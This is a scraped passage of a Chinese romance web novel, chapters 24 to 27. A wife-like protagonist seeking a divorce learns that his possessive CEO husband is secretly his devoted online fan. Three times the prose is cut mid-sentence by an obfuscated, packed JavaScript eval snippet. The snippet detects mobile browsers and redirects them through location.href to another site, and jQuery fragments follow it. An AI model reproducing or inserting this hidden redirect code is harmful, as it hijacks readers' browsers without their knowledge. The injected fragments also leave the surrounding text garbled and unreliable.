周围安静下来以后,他打量起这间办公室,宽敞明亮简约,现代感十足,大落地窗选取的位置和用料都非常好,既能收入灿烂的阳光,又不至于晃眼燥热,坐在这里,还真是有种…… 君临天下、未来可期之感。 怪不得纪轻行平时拽得不得了。 纪轻行的办公桌也特别大,电子产品都是顶配,不过纪总似乎不是个完全依赖科技的人,他的显示器边缘贴着几张便利贴,凑近了看,上面是用钢笔写出的潇洒字迹—— 酒店+模块推进。 影视行业拓展。 沉心老师定制作品跟进,品牌形象打造。 沈昕心头轻轻敲了一下。 这些应该是世纪集团最近的生意重点,纪轻行专门贴出来,大概是要起到一个提醒自己不断为此努力,等到完成的那天,就一把撕掉攥在手心,觉得非常之爽的作用。 有点古代帝王把治国大事写在宫殿柱子上那味。 怪中二的。 而且这三件事都跟自己有关,只是纪轻行不知道。 规规矩矩地在“沉心”后面加上“老师”二字,透着一股又尊重又不熟的意味。 很好。 最好永远也不要知道。 这时外面传来脚步声,纪轻行来了。 二人淡淡地对视一眼,纪轻行关上磨砂玻璃门,开了顶灯,又按了个按钮,室内所有窗帘全部降了下来。 沈昕心想行吧,谈离婚协议是该私密些。 纪轻行双手插兜,定定地看着他。 他莫名其妙地与之对视。 这家伙今天穿着一身黑西装,衬衫也是黑色,显得整个人特别冷酷,好像又特别生气,好像是来找他要说法的…… 沈昕反应过来,连忙从总裁椅子上站起来让到一边,说:“你坐。” 纪轻行施舍般地甩来一个眼神,坐回自己的椅子,右手无名指在桌面上缓缓地敲。 什么总裁毛病。 他半天不说话,沈昕便道:“你把协议拿出来我看看。” 纪轻行抬起的无名指一顿,说:“我律师请假了。” 沈昕愣了一下,然后说:“你让他发给你不就行了?” 纪轻行立刻露出匪夷所思的表情:“人家请假了,生病了,你还让人家工作,你有没有人情味?你就这么铁石心肠吗?!” 沈昕:??? 他不明白,这位名叫纪轻行的资本家,一方面连让生病的员工发文件这种事都不愿做,另一方面却能把沈知易逼得走投无路不得不卖儿子。 薛定谔的人情味。 沈昕在心里翻了个白眼,说:“那你干嘛还让我来?” 纪轻行说:“他刚刚才请假的,我又不是神,怎么可能提前预知。” 沈昕:?????? 怪,非常怪。 “既然如此我走了。” 他转过身,纪轻行说:“等等。” 他回过头,纪轻行说:“你……把住址给我,等我律师上班,我让他把协议寄给你。” 沈昕蹙眉:“发电子版不行吗?” 纪轻行烦躁道:“不行。签字……必须真人手签,还有实物发出的时间记录什么的,都是证据,如果谈不妥,一旦闹上法院,这些都是证据你懂吗?随便发个电子版绝对不可以。” 沈昕的确不懂。 他对此一无所知,之前也是觉得离婚牵扯得最多的就是纪轻行的生意和财产,所以才让纪轻行先拟协议。 现在虽然有点疑惑,但又无法反驳。 他便掏出手机,把住址发到纪轻行的微信上,又说:“那我走了。” 纪轻行点开看了一眼,问:“要不要我送你?” 沈昕说:“不用,谢谢。” 纪轻行冷笑了一声。 这一声既不屑又得意,令沈昕脊背一凉,猛地意识到什么,然而已经晚了。 下一刻,纪轻行大步走过来,纂住他的手腕,扯着往办公室里侧走,胳膊一拉再一推,把他按在墙上。 “睡了老子就想跑,没门儿!离婚?哼,你死了这条心吧!这辈子除了老子,你别想再睡第二个人!” 果然被骗了。 沈昕后悔不迭。 纪轻行力气很大,把他的手腕和肩膀弄得很疼,而且不断逼近,他只能不断往后靠。 背后是落地窗,理智上知道没事,但毕竟十几层呢,他还是害怕,不由地发抖,脸都有点白了。 纪轻行一怔,问道:“你害怕我?” 眼神又受伤又委屈的。 沈昕就很无奈:“你省省吧,我是怕掉下去。” 一瞬间,纪轻行的眼神更受伤更委屈了,简直要哭的样子,最后像是狠了心把所有情绪一收,拽着沈昕挪去旁边的白墙,继续按住,咬牙切齿。 “你说,那天你为什么跑?老子伺候了你一晚上,你有什么不满意的你要跑?你还拉黑老子,凭什么,啊?!” 沈昕:…… “咱们都要离婚了,那样的意外发生一次就够了,所以……” “什么意外?什么叫意外?那怎么能叫意外?!”纪轻行的表情非常抗拒,“而且谁说咱们要离婚了?谁说的?!” 沈昕:………… 他拼命忍耐,两手挡在纪轻行胸前。 “纪总,是你自己说的啊,10月23号晚上,你说跟我爸再谈一次,如果他还是不答应你的条件,咱们就离婚。然后他也确实没答应,所以梁叔叔才会……” 沈昕一顿,转念一想,纪轻行能用沈知易的手机打电话,说明那些事他知道了。 沈昕就继续说:“你们没谈妥,那不就代表着……” “狗屁!”纪轻行无能狂怒,“我没说过!我失忆了!就算说过我也不认!通通不认!” 沈昕简直有些崩溃了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488801|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪总,你是个成年人,堂堂世纪集团总裁,翻脸不认账,不觉得羞耻吗?” “你也是个成年人,堂堂世纪集团总裁的丈夫,睡了人就跑,不觉得羞耻吗?你这种渣男,放在古代是要上狗头铡的!” 沈昕:……………… 挡在纪轻行胸前的手掌捏成拳。 他不明白他究竟做了什么孽,要忍受这些? 他咬着后槽牙说:“纪总,请你正常一点。” “我怎么不正常?我争取我的权益,怎么不正常了?” “那你现在究竟想怎么样?” “我想你有种你再睡一次!有种你睡一辈子!” 沈昕:…………………… 事实证明,人在极度无语的情况下真的会笑。 他放开了挡着纪轻行的手,双臂垂下,靠在墙上,垂头笑个不停,笑得十足冰凉。 纪轻行愣住了:“昕、昕昕?” “纪总,我不明白你,也不想明白你,我明白我自己就可以了。我自己不想再继续跟你的婚姻,不管你怎么样,我反正是要离婚的。” “……为什么?”纪轻行慌了。 沈昕却很平静:“因为这样的生活也不是我想要的,我也试过接受,但后来也发觉其实接受不了。” “可你上次跟我说你要好好跟我过日子,你说你不会变了。”纪轻行的声音发着抖。 “我错了,对不起。”沈昕直截了当地说。 “那、那万一你这次又错了……” 沈昕摇了摇头。 他没有说话,没有激烈地反驳,但恰恰是这平静最能令人死心。 那样的眼神和表情,两个人都心知肚明,这才是拨开重重表象之后,发自内心的答案。 同样的话,上次是纪轻行说,这次反了过来。 纪轻行全身都冷了。 沈昕看着他:“如果纪总真地那么在意我那天逃跑,真地想让我补偿,可以。” 他开始解衬衫扣子。 解到一半的时候,纪轻行按住了他的手。 “杀人就行了,别诛心好吗?” 又看沈昕一会儿,纪轻行转身走到一边,说:“你走吧。” 沈昕顿了顿,把衬衫扣好,向门口走去。 “我还是那句话,离婚协议拟好了再找我。” 纪轻行定定地站在原地。 人都走好半天了才反应过来。 不是。 沈昕不是小绣花枕头。 太小看他了。 沈昕应该是大绣花针……不,是巨型绣花锥,而且是会一个变多个的那种。 要不然怎么刺得他哪哪儿都疼呢? 他失落地走回办公桌前。 桌上放着吃的、喝的、杂志、靠垫,可惜沈昕一口没吃一口没喝一眼也没看。 物仍在,人已去。 视线难过地挪开,落在显示器下方的便利贴上,突然一顿—— 沉心老师定制作品跟进,品牌形象打造? “轰”地一声,纪轻行如遭雷击。 想起那天晚上沈昕控诉吃醋的样子,刚才…… 一定是看见了,他一定是觉得自己…… 所以、所以他才…… 热血重新流遍身体,纪轻行重新充满了力量。 他一把撕下便利贴捏在手里,跑出办公室去。 引得大伙儿纷纷侧目。 突然,纪轻行在走廊上一停,回头道:“刚才都有谁迎接沈少,给沈少送东西了?” 大伙儿一时没敢应,因为老板现在的样子非常不正常。 结果纪轻行笑了一下,颇为沉浸在自己的世界里,说:“我发钱,通通发钱。” 大伙儿:? 又一阵风过去,纪轻行彻底消失,空气中只留下了胜利的预感。 25.我喜欢你 离开世纪集团,沈昕约阿圆吃午饭,边吃边聊定制作品的思路和未来的宣传方案。 世纪集团的计划是运营个人和工作室社交媒体账号,定期线上直播和线下签售。 沈昕说:“开账号没问题,露脸的活动我暂时还是有些抗拒。” “声播形式的访谈和聊天呢?” 沈昕想了一下,说:“可以。” “行,那我就这样跟他们谈。”阿圆顿了顿,笑着调侃道,“沉老师,冒昧一问,你现在拒绝露脸,是因为想继续保持低调,还是因为怕纪总脱你马甲?” 沈昕:…… 虽然有点尴尬,但也没什么不好承认的。 “都有吧,最主要的还是因为现在时机不好,我们……”他鼓了鼓腮帮子,尽量轻松地说,“马上就要离婚了。” “啊?”阿圆大跌眼镜,“你上次不是说着玩啊?” “嗯。”沈昕认认真真地点头,“我现在搬出来住了,今天上午本来要去谈离婚协议,但他的律师不在,没谈成,估计过几天会再谈。” 他当然不能把所有细节都说出来,就挑着说,结果挑着挑着,越说越觉得合理,连自己都快信了,他和纪轻行之间就是这么简单。 “等离完婚,彻底没了牵扯,露脸的活动我应该就没问题了。” 阿圆不解:“为什么啊?” 沈昕理所当然地说:“因为如果现在就让他知道我是他的重点项目的重点客户,大概率会节外……” “不不不,我是说你们为什么要离婚?” 正严肃分析的沈昕一愣。 阿圆弱弱道:“能问吗?不能问就当我没问。” “哦,没关系,并没有什么难以启齿的原因,就是……结婚结得太草率,我俩性格又不合,离了对大家都好。” 阿圆定定地看着他,说:“好官方啊。” “但这是真的!你也知道我俩结婚之前就是陌生人,结婚到现在也没几个月,哪儿能有其他原因呢?”沈昕笃定地说。 好像说服了阿圆,就也说服自己了。 但说服阿圆并不容易。 他托腮道:“很多人见一面就爱到要死要活,几个月足够发生不少事。” “不少事”三个字令沈昕“唰”地脸红。 他在桌子底下捏紧拳头,顽强道:“那是别人,不是我们。” 阿圆的眼睛缓缓地眨,慢悠悠地说:“沉老师,你不对劲哦。” 沈昕的双手攥得更紧:“你别瞎猜了,又不是写小说,你不信就等着瞧,过阵子我离了婚,你自然就信了。” 没错,就是这样。 沈昕也在心里跟自己强调。 和阿圆聊完,下午阳光正好,他不想直接回家,便在附近找了家咖啡馆呆着。 坐在宽大厚实的沙发里,沐浴着窗边的阳光,闻着咖啡香,伴随着店里轻缓的纯音乐写作。 担心堵车,他赶在晚高峰之前离开,顺手打包了一份简餐和甜品,准备回去以后就着视频吃。 想想就超级幸福。 然而幸福这东西会长翅膀,会突然飞。 开车进小区的时候,一个挺高的黑影“嗖”一下窜到车前,一手按住车前脸,沈昕吓了一跳,本能地刹车一看,居然是纪轻行。 ……早知道不刹车了。 纪轻行走到车窗边,“咚咚”敲玻璃。 沈昕不想在大庭广众下掰扯,把车窗降下一半。 纪轻行说:“总算回来了,我等你一下午了,你上哪儿去了?” 明明是来追人的,但多年来养成的性格和习惯里根本没有“说软话”这一项。 只是刚说完就发觉不对。 看到沈昕皱起的眉更是后悔。 “昕昕,我不是那个意思,就是有点儿等急了,我来找你有很重要的话说。” 不久前,纪轻行凭借卑劣的手段骗到了这里的地址,沈昕知道他早晚会来,却没想到这么快。 小区管理很严,访客需要由门岗联系业主,获得同意后才能进入。 沈昕便道:“我不在家,你给我打电话……发微信不就行了?” “手机上说不清。” “那你起码告诉我你来了啊,你又不说,又嫌等的时间长。” 纪轻行惊喜道:“你的意思是愿意让我进去?!” 沈昕:…… 听着怪卑微的,哪里还是纪总。 总不能一直堵在小区门口,沈昕打开了车门。 纪轻行“噌”一下进来,生怕沈昕后悔似的。 他还是第一次坐沈昕的车,四处打量,看到了放在后座的食品袋。 “你还没吃饭?那咱们先一起去吃个饭?” 想方设法拖延相处时间。 沈昕没说话,按部就班地停车、下车、上楼,纪轻行顺手拿了食品袋跟上去。 进了家门,发现是个一居室,便道:“这么小够住吗?” “有你在当然不够,没有你就刚刚好。”沈昕脱了衣服洗了手,迅速走进卧室,“啪”地反锁上门。 纪轻行:…… 纪轻行:………… 纪轻行:……………… 他还以为沈昕对他改观了呢,哎。 站在客厅望了会儿天,一低头,发现手上还拿着食品袋。 他打起精神,走去卧室敲门。 “昕昕,你不是还没吃饭吗?出来吃饭吧。” 沈昕不说话。 纪轻行退而求其次:“那你开开门,拿进去吃,别饿着自己。” 沈昕依旧不说话。 纪轻行有点儿急了。 他劝自己冷静,来回踱步,把食品袋放在茶几上,深呼吸。 “昕昕,你怎么总爱反锁门呢?你都让我进来了,还这么着,有意义吗?” 说完一愣。 不能这么习惯性地一味指责对方,他应该…… 好好想想自己为什么来。 - 卧室里。 沈昕平瘫在床上看天花板。 纪轻行和沈知易都说他爱逃避,似乎……的确。 可种种事情又不是他搞出来的,不幸地遭遇了这些,难道连躲开都不可以吗? 他只是想过点儿平静的生活罢了。 郁闷地鼓起腮帮子,在心里祈祷着纪轻行赶紧走吧。 结果脚步声却更近了。 又是“咚咚”门响,纪轻行的声音说:“昕昕,我想跟你好好谈谈。” 沈昕简直绝望。 “谈什么?” 门外一顿,大约纪轻行没想到他居然答话了。 “谈……我们不离婚行不行?我们……好好过日子,正经过日子。” “为什么?” “因为……” 纪轻行不说话了。 是在现想答案吗?听语气不像。 倒像是早已知道答案,只是不好意思说。 什么样的答案会让没脸没皮的纪轻行都觉得不好意思呢? “因为我喜欢你。” ——咚。 沈昕的心非常明显而强烈地跳动了一下。 脸颊和指尖瞬间发热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494829|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,呼吸也急促了。 竟然是这种答案? 怎么可能? 纪轻行心里不是还有别…… “昕昕,我喜欢你。” 这一次,纪轻行笃定了很多,声音也大了,而且听起来更近,想来是紧贴着门说的。 透过木质媒介传过来,这六个字显得更为低沉而有质感。 “昕昕,我的意思是,我基于喜欢你的心情,想要继续和你的婚姻,从今以后,我们的婚姻不再是生意,它与你家不再有任何关系,它只联系着你我。你说你忍受不了先前的生活,那么现在,我给你全新的生活,给你正常的……不,给你比正常的、一般的还要好百倍千倍的生活,我会尽我所能地满足你,希望你再给我一次机会,不要跟我离婚,好不好?” 沈昕彻底怔了。 他这是……被表白了吗? 被纪轻行表白? 这也太突然、太跳跃了。 前一刻还一副只爱白月光很看不上他的样子,怎么这一刻就…… “昕昕,还有些事情是你误会了,现在我跟你说清楚。” 此话一出,沈昕立刻警惕起来。 “我心里没有别人,从来从来没有别人,你知道的那个写书的沉心,我跟他清清白白,我只是喜欢读他的书,觉得我和他在想法上很有共鸣,觉得他很有才华,很欣赏他……不不不,他也没有那么有才华,网上的人嘛,都是故弄玄虚,而且我也没有很爱看他的书,只是闲得无聊打发时间,这总比出去吃喝嫖赌好多了是不是?” “至于打赏,我是打赏了不少……不,打赏了一些,但这跟打赏‘那种’主播是两码事!这是很健康的打赏!而且是……人情世故你懂吧?而且就那么点儿小钱,跟随手买个棒棒糖差不多,我根本就没放在心上,所以你千万也别放在心上。” “我们聊天也是最近这两个月才开始的,是他先找的我!我其实很不想聊,只是碍于面子,和他在阅读软件上说了几句。我们没有加过其他任何联系方式,没有见过面!我不知道他长什么样,不知道高矮胖瘦,连声音我都没听过!我怎么可能喜欢他呢!” “而且你看到的我睡觉之前拿着手机,经常也不是聊天,是在写评论,我、我写的评论很多都是批评他的,指出他书里的漏洞,他其实很菜,项目合作也是他死皮赖脸地找我们,我本来想拒绝,但副总说可以试试,我总不能不给副总面子吧。” “就是这样,昕昕,我绝对绝对没做过一丁点儿对不起你的事情。领证那天你听到的……嗐,那时候我还不了解你嘛,跟朋友口嗨而已。我现在了解你了,就明明白白地知道了,你和沉心完全不一样,你多好啊,他连你的一根手指头都比不上!” “昕昕,这事儿好办,非常好办,他让你误会了、不开心了,那我以后不看他的书,不给他打赏,也不跟他聊天就行了啊,多简单,合作也可以停,立刻马上现在就停,绝对没问题!” “虽然我不知道你是从哪儿知道这些事的,虽然我跟他确确实实没什么,但我还是可以跟你表态,从这一刻开始,‘沉心’这两个字将彻彻底底地从我的生活里消失!我绝对不会让他,以及任何人任何事打扰到我们,你相信我!” “千万不要因为这个就说离婚好吗?” “昕昕?你听到了吗?” “你不会睡着了吧?敢情我刚才说那么多都白说了?!” “……昕昕?你、你没事吧?昕昕?” …… 卧室里。 沈昕坐了起来,脑袋像被巨石不断地砸,天旋地转,整个人懵得死去活来。 26.狗老板 这也……太离谱了吧。 纪轻行的意思难道是说他就是……“沉老师的狗”? 世界上真地会有这种巧合吗? 沈昕匪夷所思。 不,匪夷所思无法描述他现在的心情,任何语言都不能,身为小说家,他词穷了,面对这突如其来的真相,他唯有身体本能的反应。 浑身冒汗、发抖,头晕目眩,呼吸困难,甚至恶心。 他伸手按住胸口,告诉自己要冷静。 可是怎么冷静得下来?! 门外纪轻行还在“咚咚咚咚咚”“昕昕昕昕昕”。 他怎么可能是“沉老师的狗”呢?! 他这种油腔滑调又做事狠厉的人,怎么可能是成熟通透、优雅温和的“沉老师的狗”?而且“沉老师的狗”明明是个…… 女孩子啊!人家亲口说过有丈夫的! 突然,沈昕一愣。 冷汗下来了。 难不成,那个“丈夫”其实就是…… 他自己? 沈昕的脸狠狠皱成一团。 看着一直在响的门,想象着纪轻行在外面的样子和他假想中“沉老师的狗”的样子…… 真的很难合二为一。 麻了,整个人都麻了。 他使劲儿呼吸,使劲儿攥拳、张开,拼命从一团巨型疙瘩中勉强理出一条细微的头绪,无论如何,得先让纪轻行离开。 他撑着床边站起来,头重脚轻地走向门口,艰难地吞咽了一下,紧张地说:“纪轻行。” “咚咚咚咚咚”和“昕昕昕昕昕”戛然而止。 接着是更大的一声:“昕昕!你没事吧?你怎么一直不说话?” “我……懒得说。” “哦。”纪轻行随即蔫了,“那我刚才说的那些……” “听见了。” “哦,那……” “你走吧。” “……啊?”纪轻行万万没想到居然会是这个回应。 “你走吧,你要说的我都听见了,你不走还等什么?” “我当然是等……” “现在回答不了你。” “那什么时候……” “不知道。” 沈昕转身靠在墙上。 本来就不太知道,又突然来了这么炸裂的一出,他更加不知道了。 门外,纪轻行也安静了。 半晌才说:“好。那……我先走了。” “嗯。” 又半晌后。 “我……走了啊,你记得出来吃饭。” “嗯。” 再一阵子。 “我走了,我跟沉心真没什么!我心里只有你!只有你!” 沈昕:…… 接着是开门声、关门声。 终于,一直吊在嗓子眼里的心落回去了一点,紧绷的身体也轻松了一点。 只是一点点。 他还是很懵,很震惊,很不可思议,觉得整个人就快裂成碎片、化为齑粉了。 脱力向下一倒,他自暴自弃地躺在了地板上。 躺了许久,手机响起信息提示,连续好几声。 他启动困难,又过了好一会儿才爬起来,去床上拿来手机看。 [昕昕,我到家了,你吃饭了吗?] [要好好吃饭,不要凑活,叫咱们家的阿姨过去给你做饭好不好?] [或者你自己请个阿姨,要么就点点儿正经的外卖,我看你吃得太随便了。] [今天我跟你说的都是真心话,突然一下说这么多,我知道你需要时间消化和思考,我不着急,你慢慢想。我只是希望你也不要着急,不要冲动,我们的关系绝对值得好好珍惜。] 接着是一笔五万的转账。 [没别的意思,之前一直没跟你沟通过这些,我想你平时用的应该是你家里的钱,但考虑到你和家里的关系,我觉得还是不要再花他们的了。你暂时没有收入,就先用我的,至少现在我还是你丈夫。] [这是零花钱,明天我再寄张卡给你。] [有事随时找我。] 沈昕:………… 还好他不是真没收入,否则这几个月来,爸爸不管他,丈夫也不管他,他早饿死了。 他没有给纪轻行回复,无从回起,但现在心情平和了一些,他决定把这件事好好地复复盘。 首先,回看“沉老师的狗”写的书评。 其实很多评论他都看了不止一次,精彩的句子甚至都记住了。这次再看,他想从中寻找属于纪轻行的印记,但似乎并没有什么特别的,提前不知道的情况下,万万想不到写下这些的人就是纪轻行,但是…… 如果刻意用纪轻行一贯的语音、语调、语气、表情去读,那些评论顿时便仿佛活了,变得恰如其分,好像不是纪轻行,旁人也说不出这些话。 然而放下评论,闭上眼睛再想,又觉得十分诡异。 那个他引为知己,令他从灵魂深处感到共鸣,甚至很佩服的人,既然就在身边,平时怎么就感觉不出来呢? 接着,他打开阅读软件的私人聊天板。 发现前阵子“沉老师的狗”给他发了条信息,他居然错过了,是……梁瑛住院那天。 难怪,那天他状态极差,手机还关机了。 [沉老师,请问您有没有特别讨厌的人或事],这个没头没尾的问题,是什么意思? 沈昕蹙眉,手指滑动,把聊天记录翻到最初,一点一点回顾。 的确,是他先找的纪轻行。 发现被家里欺瞒,他不知道该不该继续这段婚姻,想要寻求帮助。 结果找的竟然是本人。 冥冥之中,纪轻行挽救了自己的婚姻。 第一次聊天,对方言语之间充满了崇拜,用词可爱俏皮,活脱脱一个小迷妹……弟,画风跟叱咤风云的纪总截然不同。 再往下看。 同一时间段与纪轻行在现实中相处的细节浮上心头。 难怪他说他看书,纪轻行就打破砂锅问到底,还问他看不看网络小说,听说不看还有些失望; 难怪纪轻行会要求两人一起在家吃火锅,因为他喜欢自己写过的类似情节; 难怪他对写作和作者十分尊重。 去酒店过周末那天,他说只是应酬,不会开心,可后来又说他开心,还特意打赏。 那时候,他究竟是因为哪个细节突然开心了呢? 接着往下看。 纪轻行说结婚是妥协,说把理想和现实分得很开,自己因为他说的话改变了心态,打算好好过日子,可他又变了,变得反反复复,直到首先提出离婚。 因为“沉心”的启发,决定顺心而活。 可见他的心并不在“沈昕”身上。 但他今天又跟自己告白? 沈昕眉头紧锁,觉得这个人实在太分裂了 把手机扔到一边,他走到窗前,打开窗户吹风,重新梳理思路。 这些年来,纪轻行读过他写的所有书,不断发表高质量评论,不断打赏,不吝赞美与支持,很认真地跟他建议未来,还把建议变为现实,甚至给自己取名为“沉老师的狗”。 实打实地说明了他对沉心有着很深很深的喜爱、欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502610|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏与崇拜。 但是,他又可以说话间就将这些抛下,信誓旦旦地把“沉心”逐出生活。这样的果决不免又令沈昕对那份“深深的喜爱、欣赏与崇拜”产生了怀疑。 纪轻行对“沉心”究竟怀着怎样的感情? 对现实中的自己又是怎样呢? 按理说,丈夫为了让自己放心,断掉一切可能被怀疑的关系,这做法很值得称道,可又因为那段关系里的另一个人也是自己,而且是被对方无限欣赏与认可的最真实的自己,他又不免觉得…… 委屈和心寒。 因为此时的纪轻行看似完美履行着身为丈夫的责任,实际上却极不真实。 他是为了不离婚,为了让“沈昕”消气,为了挽回他想挽回的东西,把驱逐“沉心”当作手段罢了。 他的内心扑朔迷离。 尚未看清,不能再起波澜。 当然也不能现在就告诉他真相。 接下来的几天,沈昕默默观察。 纪轻行说到做到,“沉老师的狗”除了不私聊不评论,连订阅都停了。 毕竟是常年的“榜一大哥”,如此反常的状态立刻在评论区掀起了巨浪。 ——[狗老板最近怎么不出现了?] ——[是啊,好长时间没评论了,我先看文章再看狗老板的评论都成习惯了,现在好难受。] ——[连订阅都断了,不会出事了吧?] ——[不会吧?沉老师能联系上狗老板吗?] ——[沉老师低调写作,从不联系读者,望周知。] ——[别胡说,每个人都有自己的生活,也许人家只是三次元有事,一时没出现罢了。] ——[对啊,也许只是脱粉了呢。] ——[对啊对啊,以前低调,不代表永远低调。] …… 沈昕:? 好像混入了奇怪的东西。 这么一讨论,全站跟着炸了,渐渐的话题出圈,甚至一度爬上热搜,引起了更广泛的关注。 有人说他是水平下滑导致多年老粉脱粉; 有人说他是改了赛道,跟原平台解约后成立了个人工作室,还签了营销公司,准备当网红,这种不认真写书的态度,砸过真金白银的老粉当然看不下去; 还有人开始计算“沉老师的狗”一共给他打赏了多少,说花了这么多钱却没收到一丁点儿回应,心凉了,所以撤了。 读者们前来维护,几方人马炒成一团,乌烟瘴气的。 好在阿圆相当有能力,两三天内便以事实证据给沈昕拉回了不少声望,顺便吸引了一波新读者。 “我离职还带上了你,平台肯定不爽,加上一些真签了营销公司,视你为竞争对手的作者,这事儿一出当然是立刻落井下石带节奏,你别放在心上。” 电话里,阿圆顿了顿,话锋一转。 “只是世纪集团让我有点意外,他们说先期舆论不利,你又不完全配合他们的推广方案,考虑把项目节奏放缓。我继续跟他们谈吧,谈判是这样的,时顺时卡,很正常,你也千万不要有压力。” “嗯,我没有压力。” 挂了阿圆的电话,沈昕心想他不但没压力,而且也不像阿圆那样觉得意外,毕竟纪总早在几天前就通知过他了。 他只是对纪总强大的内心和强大的执行力有了全新的认识。 当晚怎么都睡不着,思来想去,决定要一个确切的答案。 他打电话给纪轻行—— “你那天说你喜欢我。” “那我想问问你,你喜欢我什么?以及你究竟有多喜欢我呢?” 27.早孕 凌晨一点多,纪轻行刚睡着不久就被吵醒了。 睁开眼睛的时候直想骂脏话。 但看到打电话的人是沈昕,他一个激灵坐起来,以为出事了。 毕竟都这么晚了。 结果他居然听到了…… 做梦呢? 他把手机拿离耳边,看了一眼,又放回耳边,疑惑地问:“……昕昕?” 黑暗中,沈昕盘膝坐在床上,再次问:“纪轻行,你喜欢我什么?” 对方一时没说话。 接着是支支吾吾。 “我、我喜欢你、你……昕昕,你怎么了?这么晚了你还没睡觉?” 沈昕垂下眼帘,说:“所以你其实不喜欢我。” “什么?!我不喜欢你?我怎么可能不喜欢你呢!你别瞎想啊,你……” “那你为什么说不出来喜欢我什么呢?” 纪轻行有点夸张地笑了一下,仿佛是在说沈昕无理取闹。 “首先,这根本就不是个有绝对答案的问题吧?何况你问得这么突然,总得容我想想,组织组织语言不是吗?” “还需要想?” “当然啊。” 沈昕沉默。 纪轻行意识到了不对,连忙说:“我不是那个意思,只是说……” “我明白。”沈昕打断他。 纪轻行不信道:“你明白?” “嗯。” “真的明白?” “嗯。”沈昕顿了顿,“那你想吧,我挂了。” “喂!”纪轻行紧张起来,“你、你没事吧?” “没事。” “真的?” 自己也觉得总这样问很烦,没等沈昕回答就接着说:“昕昕,我不知道你关注了没有,如果没有,你可以去了解一下,我是真地彻底远离了沉心,我不看他的书了,合作项目也决定停了。” 沈昕捏紧手机,语气尽量平静:“你不觉得舍不得吗?你那么喜欢他,喜欢了那么多年。最近他在网上被人指指点点,你是他的粉丝,你就不难过,不打算为他说话吗?” “谁喜欢他了,谁是他的粉丝。”纪轻行毫不在意,甚至带着一点鄙夷,“不可能舍不得,完全没有一丁点儿舍不得好不好。我跟他毫无关系,我为什么要难过?为什么要为他说话?我也根本不了解他,网上的是非,真相究竟如何谁会知道?说不定沉心自己也有问题。” 可是你曾经说,“沉心”是你生活的一部分,而且是属于真实、理想、灵魂的那部分。 沈昕吸了口气,又问:“停止合作,公司利益不受影响吗?你之前说要发展文旅板块,我家的酒店算一个,沉心是不是也……” “能赚钱的生意多着呢,这个不行,我再找别人嘛。你就不要多心了,你只要知道,所有人所有事都没有你重要。” 可我究竟哪里重要,你又根本说不出来。 他明白了,无论对“沉心”还是对“沈昕”,纪轻行的感情看似强烈,是因为他的性格本就外放,且拥有能够做到强烈的资本。 而实际上,那样的感情来得很快,也可以去得很快,是非常浅淡、微薄的。 一直以来,纪轻行所做的一切,不过是取悦他自己罢了。 - 一周后。 沈昕拉着行李箱,边走边给阿圆打电话。 “沉老师,这么早啊。” “嗯,听你的声音也不像在睡觉,你也很早。” “今天约了世纪集团嘛,等下就出门。” 沈昕一怔,问:“去干什么?” “再谈啊。老实说,他们终止合作的意思挺坚决的,我很奇怪,这太突然了,他们给出的理由根本说服不了我,而且我觉得他们的副总其实并不想停,所以我也不想放弃。” 沈昕却说:“算了吧。” 电话里阿圆明显愣了:“算了?为什么?沉老师,你千万不要没信心……” “我不是没信心,是……因为纪轻行。我跟他……还有些比较细节的情况,一时不好跟你说。终止合作是他的意思,改不了了,我也不想改,所以……抱歉,让你白费心了。” 阿圆更愣:“这……我、我明白了,但是……” “我们也不是一定要和他们绑定。”沈昕说,“既然成立了个人工作室,那除了写东西本身,其他的一切我就都交给你,宣传方式、推广计划你说了算,我全力配合。我相信你的能力,我也相信,没有世纪集团,我们照样能发展得很好,或者说,不受别人的束缚,我们可以更好。” 阿圆震惊了:“沉老师……” 沈昕一笑:“阿圆,不要再把自己宝贵的时间和精力浪费在世纪集团身上了,等下就告诉他们谈判取消,然后好好地考虑我们的下一步,考虑好之后……过12个小时再找我讨论吧。” 这话很怪。 “12个小时?什么意思?” 沈昕的笑意浓了:“我马上登机,所以赶紧给你打个电话,说清楚我的想法。” “登机?你要去哪儿?” “回我学校那边。” “学校?……香国啊?!” “嗯。” “为什么?你……离婚了吗?” “还没。” “那你……” 沈昕没说话。 阿圆也不好再问。 片刻后,沈昕说:“计划你大胆做,不用太考虑我的时间地点,就算是线下活动,也不过是飞一趟的事情。好了,我登机了,等安顿好了再给你发信息。” 其实也不必特别安顿。 之前回国结婚,时间仓促,又不确定婚后的状况,他便没有在香国退租,想着等婚后生活稳定了,再处理各种后续不迟。 